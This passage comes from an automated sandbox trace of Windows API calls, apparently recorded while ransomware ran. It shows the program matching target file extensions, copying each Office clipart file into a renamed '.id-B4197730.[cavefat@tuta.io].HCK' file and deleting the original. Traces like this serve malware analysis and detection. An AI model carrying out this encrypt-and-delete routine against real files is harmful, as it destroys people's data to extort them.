lpString2=".WMF") returned -1 [0230.256] lstrlenW (lpString=".docx") returned 5 [0230.256] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0230.256] lstrlenW (lpString=".pdf") returned 4 [0230.256] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.256] lstrlenW (lpString=".xls") returned 4 [0230.256] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.256] lstrlenW (lpString=".xlsx") returned 5 [0230.256] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0230.256] lstrlenW (lpString=".ppt") returned 4 [0230.256] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0230.256] lstrlenW (lpString=".zip") returned 4 [0230.256] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.256] lstrlenW (lpString=".rar") returned 4 [0230.256] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.256] lstrlenW (lpString=".bz2") returned 4 [0230.256] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.256] lstrlenW (lpString=".7z") returned 3 [0230.256] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0230.256] lstrlenW (lpString=".dbf") returned 4 [0230.256] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0230.256] lstrlenW (lpString=".1cd") returned 4 [0230.256] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0230.256] lstrlenW (lpString=".jpg") returned 4 [0230.256] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0230.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0230.256] lstrlenW (lpString=".doc") returned 4 [0230.256] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.256] lstrlenW (lpString=".docx") returned 5 [0230.256] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0230.256] lstrlenW (lpString=".pdf") returned 4 [0230.256] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.256] lstrlenW (lpString=".xls") returned 4 [0230.257] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.257] lstrlenW (lpString=".xlsx") returned 5 [0230.257] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0230.257] lstrlenW (lpString=".ppt") returned 4 [0230.257] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0230.257] lstrlenW (lpString=".zip") returned 4 [0230.257] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.257] lstrlenW (lpString=".rar") returned 4 [0230.257] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.257] lstrlenW (lpString=".bz2") returned 4 [0230.257] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.257] lstrlenW (lpString=".7z") returned 3 [0230.257] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0230.257] lstrlenW (lpString=".dbf") returned 4 [0230.257] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0230.257] lstrlenW (lpString=".1cd") returned 4 [0230.257] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0230.257] lstrlenW (lpString=".jpg") returned 4 [0230.257] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.257] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0230.257] lstrlenW (lpString="J0105230.WMF") returned 12 [0230.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0230.258] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=5172) returned 1 [0230.258] CloseHandle (hObject=0x454) returned 1 [0230.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf")) returned 0x220 [0230.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0231.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0231.057] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.057] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0231.057] GetLastError () returned 0x0 [0231.067] ReadFile (in: hFile=0x54c, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x1434, lpOverlapped=0x0) returned 1 [0231.088] WriteFile (in: hFile=0x454, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x1440, lpOverlapped=0x0) returned 1 [0231.088] ReadFile (in: hFile=0x54c, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0231.088] WriteFile (in: hFile=0x454, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0231.089] SetEndOfFile (hFile=0x454) returned 1 [0231.089] CloseHandle (hObject=0x454) returned 1 [0231.089] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.089] SetEndOfFile (hFile=0x54c) returned 1 [0231.091] CloseHandle (hObject=0x54c) returned 1 [0231.091] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0231.091] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf")) returned 1 [0231.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0231.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0231.092] lstrlenW (lpString=".doc") returned 4 [0231.092] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.092] lstrlenW (lpString=".docx") returned 5 [0231.092] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0231.092] lstrlenW (lpString=".pdf") returned 4 [0231.092] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.092] lstrlenW (lpString=".xls") returned 4 [0231.092] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.092] lstrlenW (lpString=".xlsx") returned 5 [0231.092] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0231.092] lstrlenW (lpString=".ppt") returned 4 [0231.092] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0231.092] lstrlenW (lpString=".zip") returned 4 [0231.092] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.092] lstrlenW (lpString=".rar") returned 4 [0231.092] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.092] lstrlenW (lpString=".bz2") returned 4 [0231.092] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.092] lstrlenW (lpString=".7z") returned 3 [0231.092] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0231.092] lstrlenW (lpString=".dbf") returned 4 [0231.092] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0231.092] lstrlenW (lpString=".1cd") returned 4 [0231.092] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0231.092] lstrlenW (lpString=".jpg") returned 4 [0231.092] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0231.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0231.093] lstrlenW (lpString=".doc") returned 4 [0231.093] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.093] lstrlenW (lpString=".docx") returned 5 [0231.093] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0231.093] lstrlenW (lpString=".pdf") returned 4 [0231.093] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.093] lstrlenW (lpString=".xls") returned 4 [0231.093] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.093] lstrlenW (lpString=".xlsx") returned 5 [0231.093] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0231.093] lstrlenW (lpString=".ppt") returned 4 [0231.093] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0231.093] lstrlenW (lpString=".zip") returned 4 [0231.093] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.093] lstrlenW (lpString=".rar") returned 4 [0231.093] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.093] lstrlenW (lpString=".bz2") returned 4 [0231.093] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.093] lstrlenW (lpString=".7z") returned 3 [0231.093] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0231.093] lstrlenW (lpString=".dbf") returned 4 [0231.093] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0231.093] lstrlenW (lpString=".1cd") returned 4 [0231.093] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0231.093] lstrlenW (lpString=".jpg") returned 4 [0231.093] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.093] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0231.093] lstrlenW (lpString="J0105286.WMF") returned 12 [0231.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0231.094] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=6568) returned 1 [0231.094] CloseHandle (hObject=0x54c) returned 1 [0231.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf")) returned 0x220 [0231.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0231.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0231.095] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.095] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0231.096] GetLastError () returned 0x0 [0231.096] ReadFile (in: hFile=0x54c, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x19a8, lpOverlapped=0x0) returned 1 [0231.097] WriteFile (in: hFile=0x454, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x19b0, lpOverlapped=0x0) returned 1 [0231.098] ReadFile (in: hFile=0x54c, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0231.098] WriteFile (in: hFile=0x454, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0231.098] SetEndOfFile (hFile=0x454) returned 1 [0231.098] CloseHandle (hObject=0x454) returned 1 [0231.098] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.098] SetEndOfFile (hFile=0x54c) returned 1 [0231.100] CloseHandle (hObject=0x54c) returned 1 [0231.100] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0231.100] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf")) returned 1 [0231.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0231.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0231.101] lstrlenW (lpString=".doc") returned 4 [0231.101] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.101] lstrlenW (lpString=".docx") returned 5 [0231.101] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0231.101] lstrlenW (lpString=".pdf") returned 4 [0231.101] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.101] lstrlenW (lpString=".xls") returned 4 [0231.101] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.101] lstrlenW (lpString=".xlsx") returned 5 [0231.101] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0231.101] lstrlenW (lpString=".ppt") returned 4 [0231.101] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0231.101] lstrlenW (lpString=".zip") returned 4 [0231.101] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.101] lstrlenW (lpString=".rar") returned 4 [0231.101] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.101] lstrlenW (lpString=".bz2") returned 4 [0231.101] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.101] lstrlenW (lpString=".7z") returned 3 [0231.101] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0231.101] lstrlenW (lpString=".dbf") returned 4 [0231.101] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0231.101] lstrlenW (lpString=".1cd") returned 4 [0231.101] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0231.101] lstrlenW (lpString=".jpg") returned 4 [0231.101] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0231.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0231.101] lstrlenW (lpString=".doc") returned 4 [0231.102] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.102] lstrlenW (lpString=".docx") returned 5 [0231.102] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0231.102] lstrlenW (lpString=".pdf") returned 4 [0231.102] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.102] lstrlenW (lpString=".xls") returned 4 [0231.102] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.102] lstrlenW (lpString=".xlsx") returned 5 [0231.102] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0231.102] lstrlenW (lpString=".ppt") returned 4 [0231.102] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0231.102] lstrlenW (lpString=".zip") returned 4 [0231.102] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.102] lstrlenW (lpString=".rar") returned 4 [0231.102] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.102] lstrlenW (lpString=".bz2") returned 4 [0231.102] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.102] lstrlenW (lpString=".7z") returned 3 [0231.102] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0231.102] lstrlenW (lpString=".dbf") returned 4 [0231.102] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0231.102] lstrlenW (lpString=".1cd") returned 4 [0231.102] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0231.102] lstrlenW (lpString=".jpg") returned 4 [0231.102] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.102] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0231.102] lstrlenW (lpString="J0105288.WMF") returned 12 [0231.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0231.103] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=15832) returned 1 [0231.103] CloseHandle (hObject=0x54c) returned 1 [0231.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf")) returned 0x220 [0231.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0231.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0231.104] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.104] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0231.106] GetLastError () returned 0x0 [0231.106] ReadFile (in: hFile=0x54c, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x3dd8, lpOverlapped=0x0) returned 1 [0231.107] WriteFile (in: hFile=0x4d4, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x3de0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x3de0, lpOverlapped=0x0) returned 1 [0231.108] ReadFile (in: hFile=0x54c, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0231.108] WriteFile (in: hFile=0x4d4, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0231.108] SetEndOfFile (hFile=0x4d4) returned 1 [0231.108] CloseHandle (hObject=0x4d4) returned 1 [0231.108] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.108] SetEndOfFile (hFile=0x54c) returned 1 [0231.111] CloseHandle (hObject=0x54c) returned 1 [0231.111] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0231.111] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf")) returned 1 [0231.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0231.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0231.112] lstrlenW (lpString=".doc") returned 4 [0231.112] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.112] lstrlenW (lpString=".docx") returned 5 [0231.112] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0231.112] lstrlenW (lpString=".pdf") returned 4 [0231.112] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.112] lstrlenW (lpString=".xls") returned 4 [0231.112] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.112] lstrlenW (lpString=".xlsx") returned 5 [0231.112] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0231.112] lstrlenW (lpString=".ppt") returned 4 [0231.112] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 